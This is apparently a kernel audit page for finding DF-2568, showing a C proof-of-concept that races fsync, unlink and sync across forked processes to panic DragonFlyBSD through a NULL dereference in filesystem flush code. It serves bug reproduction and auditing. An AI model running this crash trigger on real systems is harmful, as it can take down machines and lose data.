โฌข DragonFlyBSD Kernel Audit
DF-2568 / race_flush_v6.c
โ† back to finding โ†“ download raw
/*
 * DF-2568 โ€” v6: concurrent fsync-vs-unlink on a SHARED pool of files.
 *
 * KEY INSIGHT: fsync() blocks until the flush xop completes. So fsync+unlink
 * must be in DIFFERENT processes to overlap. Workers race on a shared pool:
 *
 *   - TYPE A (dirtier): open(file_i), write blocks, fsync (dispatches flush
 *     xop for file_i's inode, BLOCKS until flush done).
 *   - TYPE B (unlinker): unlink(file_i) concurrently with A's fsync (dispatches
 *     unlink xop via parent dir inode โ€” DIFFERENT thread group โ€” runs while
 *     A's flush xop still holds file_i's chain lock).
 *
 * When B's unlink xop looks up file_i and tries to lock its chain, it blocks
 * because A's flush holds it. When A's flush_core hits :662 (unlock chain),
 * B grabs the lock and calls chain_delete (sets chain->parent = NULL). A's
 * flush then sees chain->parent != parent at :681 -> retry=1 -> :405 NULL deref.
 *
 * Workers pick random files from a shared pool. Syncers run sync() to drive
 * additional topology-wide flushes.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <errno.h>

static volatile sig_atomic_t stop = 0;
static void on_alarm(int s){ (void)s;stop=1; }

#define BLK 8192

static const char *g_dir;
static int g_poolsize;

static void path_for(char *buf, size_t bufsz, int idx)
{
    snprintf(buf, bufsz, "%s/pool_%d", g_dir, idx);
}

/* Dirtier: opens a pool file, writes blocks (dirties chains), fsyncs.
 * The fsync dispatches a flush xop and blocks. Meanwhile, unlinkers may
 * unlink the same file, racing the flush. */
static void dirtier(int id, long iters)
{
    char path[512], buf[BLK];
    long i;
    unsigned seed = (unsigned)(id * 7 + 1);

    memset(buf, (char)(id + 0x43), sizeof(buf));
    for (i = 0; i < iters && !stop; i++) {
        int idx = rand_r(&seed) % g_poolsize;
        int fd, b;
        path_for(path, sizeof(path), idx);
        fd = open(path, O_RDWR | O_CREAT, 0666);
        if (fd < 0) continue;
        buf[0] = (char)(id ^ i);
        for (b = 0; b < 6; b++)
            write(fd, buf, sizeof(buf));
        /* fsync: dispatches flush xop, BLOCKS until done */
        fsync(fd);
        close(fd);
    }
    _exit(0);
}

/* Unlinker: rapidly unlinks and recreates pool files.
 * The unlink races with any concurrent flush (from a dirtier's fsync). */
static void unlinker(int id, long iters)
{
    char path[512];
    long i;
    unsigned seed = (unsigned)(id * 13 + 3);

    for (i = 0; i < iters && !stop; i++) {
        int idx = rand_r(&seed) % g_poolsize;
        int fd;
        path_for(path, sizeof(path), idx);
        unlink(path);
        /* recreate so dirtiers can find it */
        fd = open(path, O_CREAT | O_TRUNC | O_RDWR, 0666);
        if (fd >= 0) {
            char c = (char)(id ^ i);
            write(fd, &c, 1);
            close(fd);
        }
    }
    _exit(0);
}

/* Syncer: drives topology-wide flushes via sync() */
static void syncer(int id, long iters)
{
    long i;
    for (i = 0; i < iters && !stop; i++)
        sync();
    _exit(0);
}

int main(int argc, char **argv)
{
    const char *dir = NULL;
    int ndirty = 12, nunlink = 12, nsync = 6;
    int poolsize = 64;
    long iters = 50000000;
    int timeout = 0, opt;
    int k, ki = 0, nkids;
    pid_t *kids;

    while ((opt = getopt(argc, argv, "d:D:U:s:p:i:t:")) != -1) {
        switch (opt) {
        case 'd': dir = optarg; break;
        case 'D': ndirty = atoi(optarg); break;
        case 'U': nunlink = atoi(optarg); break;
        case 's': nsync = atoi(optarg); break;
        case 'p': poolsize = atoi(optarg); break;
        case 'i': iters = atol(optarg); break;
        case 't': timeout = atoi(optarg); break;
        default:
            fprintf(stderr,"usage: %s -d dir [-D dirtiers] [-U unlinkers] [-s syncers] [-p pool] [-i iters] [-t sec]\n",argv[0]);
            return 2;
        }
    }
    if (!dir) { fprintf(stderr,"%s: need -d dir\n",argv[0]); return 2; }

    g_dir = dir;
    g_poolsize = poolsize;

    fprintf(stderr,"DF-2568 v6: dir=%s dirtiers=%d unlinkers=%d syncers=%d pool=%d iters=%ld timeout=%d\n",
            dir, ndirty, nunlink, nsync, poolsize, iters, timeout);

    /* Pre-populate pool so unlinkers/dirtiers have something to race on */
    {
        char path[512]; int i, fd;
        char buf[BLK];
        memset(buf, 'P', sizeof(buf));
        for (i = 0; i < poolsize; i++) {
            path_for(path, sizeof(path), i);
            fd = open(path, O_CREAT | O_TRUNC | O_RDWR, 0666);
            if (fd >= 0) { write(fd, buf, sizeof(buf)); close(fd); }
        }
    }

    signal(SIGALRM, on_alarm);
    if (timeout > 0) alarm((unsigned)timeout);

    nkids = ndirty + nunlink + nsync;
    kids = calloc(nkids, sizeof(pid_t));
    if (!kids) { perror("calloc"); return 1; }

    for (k = 0; k < ndirty; k++) {
        pid_t p = fork();
        if (p < 0) { perror("fork"); return 1; }
        if (p == 0) dirtier(k, iters);
        kids[ki++] = p;
    }
    for (k = 0; k < nunlink; k++) {
        pid_t p = fork();
        if (p < 0) { perror("fork"); return 1; }
        if (p == 0) unlinker(k, iters);
        kids[ki++] = p;
    }
    for (k = 0; k < nsync; k++) {
        pid_t p = fork();
        if (p < 0) { perror("fork"); return 1; }
        if (p == 0) syncer(k, iters);
        kids[ki++] = p;
    }

    for (k = 0; k < nkids; k++)
        if (kids[k] > 0) waitpid(kids[k], NULL, 0);
    fprintf(stderr, "DF-2568 v6: done (no panic)\n");
    return 0;
}